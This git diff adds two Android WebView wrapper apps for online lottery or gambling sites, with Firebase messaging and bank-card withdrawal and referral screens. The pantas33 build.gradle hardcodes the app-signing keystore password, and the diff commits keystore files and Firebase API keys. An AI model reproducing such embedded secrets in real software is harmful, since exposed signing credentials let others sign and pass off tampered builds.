java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/ozlotto88/google-services.json b/ozlotto88/google-services.json new file mode 100644 index 0000000..e9c6a82 --- /dev/null +++ b/ozlotto88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "46561277104", + "project_id": "ozlotto88-d89cf", + "storage_bucket": "ozlotto88-d89cf.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:46561277104:android:e95f2f5ec2216240013775", + "android_client_info": { + "package_name": "com.xyz.ozlotto88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAz5dyc_MuKjgmpnDdg99TYaBYMKyOdBTQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/ozlotto88/justlet.jks b/ozlotto88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/ozlotto88/justlet.jks differ diff --git a/ozlotto88/ppn.jks b/ozlotto88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/ozlotto88/ppn.jks differ diff --git a/ozlotto88/proguard-rules.pro b/ozlotto88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/ozlotto88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/ozlotto88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/ozlotto88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/ozlotto88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/ozlotto88/src/main/AndroidManifest.xml b/ozlotto88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f0a3d1b --- /dev/null +++ b/ozlotto88/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/java/com/xyz/ozlotto88/MainActivity.java b/ozlotto88/src/main/java/com/xyz/ozlotto88/MainActivity.java new file mode 100644 index 0000000..fd8daec --- /dev/null +++ b/ozlotto88/src/main/java/com/xyz/ozlotto88/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.ozlotto88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 20; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://mrbluey.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffe905"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#001e00"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/ozlotto88/src/main/java/com/xyz/ozlotto88/MyFirebaseMessageingService.java b/ozlotto88/src/main/java/com/xyz/ozlotto88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..8af2edd --- /dev/null +++ b/ozlotto88/src/main/java/com/xyz/ozlotto88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.ozlotto88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/ozlotto88/src/main/java/com/xyz/ozlotto88/WebApplication.java b/ozlotto88/src/main/java/com/xyz/ozlotto88/WebApplication.java new file mode 100644 index 0000000..48964cc --- /dev/null +++ b/ozlotto88/src/main/java/com/xyz/ozlotto88/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.ozlotto88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/ozlotto88/src/main/res/drawable-anydpi/ic_action_back.xml b/ozlotto88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/ozlotto88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/ozlotto88/src/main/res/drawable-hdpi/ic_action_back.png b/ozlotto88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/ozlotto88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/ozlotto88/src/main/res/drawable-mdpi/ic_action_back.png b/ozlotto88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/ozlotto88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/ozlotto88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/ozlotto88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/ozlotto88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable-xhdpi/ic_action_back.png b/ozlotto88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/ozlotto88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/ozlotto88/src/main/res/drawable-xxhdpi/ic_action_back.png b/ozlotto88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/ozlotto88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/ozlotto88/src/main/res/drawable/big_bg.xml b/ozlotto88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..745867e --- /dev/null +++ b/ozlotto88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/ic_launcher_background.xml b/ozlotto88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/ozlotto88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ozlotto88/src/main/res/drawable/input_bg.xml b/ozlotto88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/ozlotto88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ozlotto88/src/main/res/drawable/pass_word_bg.xml b/ozlotto88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/ozlotto88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/ozlotto88/src/main/res/drawable/pass_word_bg1.xml b/ozlotto88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/ozlotto88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/pass_word_bg2.xml b/ozlotto88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/ozlotto88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/shape_btn_bg.xml b/ozlotto88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/ozlotto88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/shape_dialog_bg2.xml b/ozlotto88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/ozlotto88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/shape_dialog_bg3.xml b/ozlotto88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/ozlotto88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/drawable/shape_dialog_bg_new.xml b/ozlotto88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/ozlotto88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ozlotto88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/mipmap-hdpi/ic_empty.png b/ozlotto88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/ozlotto88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/ozlotto88/src/main/res/mipmap-hdpi/ic_pull_down.png b/ozlotto88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/ozlotto88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/ozlotto88/src/main/res/mipmap-xhdpi/ic_close.png b/ozlotto88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/ozlotto88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/ozlotto88/src/main/res/mipmap-xhdpi/ic_menu.png b/ozlotto88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/ozlotto88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/ozlotto88/src/main/res/mipmap-xxhdpi/app_logo.png b/ozlotto88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..685c489 Binary files /dev/null and b/ozlotto88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/ozlotto88/src/main/res/values-en/strings.xml b/ozlotto88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/ozlotto88/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/ozlotto88/src/main/res/values-night/themes.xml b/ozlotto88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/ozlotto88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/values/colors.xml b/ozlotto88/src/main/res/values/colors.xml new file mode 100644 index 0000000..75e22d3 --- /dev/null +++ b/ozlotto88/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #ffe905 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/values/strings.xml b/ozlotto88/src/main/res/values/strings.xml new file mode 100644 index 0000000..920c741 --- /dev/null +++ b/ozlotto88/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + OZLOTTO88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/values/themes.xml b/ozlotto88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/ozlotto88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/xml/app_updater_paths.xml b/ozlotto88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/ozlotto88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/xml/network_security_config.xml b/ozlotto88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/ozlotto88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ozlotto88/src/main/res/xml/provider_paths.xml b/ozlotto88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/ozlotto88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ozlotto88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/ozlotto88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/ozlotto88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/pantas33/.gitignore b/pantas33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/pantas33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/pantas33/build.gradle b/pantas33/build.gradle new file mode 100644 index 0000000..118a47b --- /dev/null +++ b/pantas33/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.pantas33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "pantas33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/pantas33/google-services.json b/pantas33/google-services.json new file mode 100644 index 0000000..c3ea0b1 --- /dev/null +++ b/pantas33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "95646972618", + "project_id": "pantas33-2bda7", + "storage_bucket": "pantas33-2bda7.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:95646972618:android:84bf03db925c5f57ef9233", + "android_client_info": { + "package_name": "com.web.pantas33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCHgn2YFjyRfBivzKIBmtnM9631AP37vv8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/pantas33/ppn.jks b/pantas33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/pantas33/ppn.jks differ diff --git a/pantas33/proguard-rules.pro b/pantas33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/pantas33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/pantas33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/pantas33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/pantas33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/pantas33/src/main/AndroidManifest.xml b/pantas33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..8fab10c --- /dev/null +++ b/pantas33/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pantas33/src/main/java/com/web/pantas33/MainActivity.java b/pantas33/src/main/java/com/web/pantas33/MainActivity.java new file mode 100644 index 0000000..307b319 --- /dev/null +++ b/pantas33/src/main/java/com/web/pantas33/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.pantas33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 142; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.pantas33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#1c312a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#1c312a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + 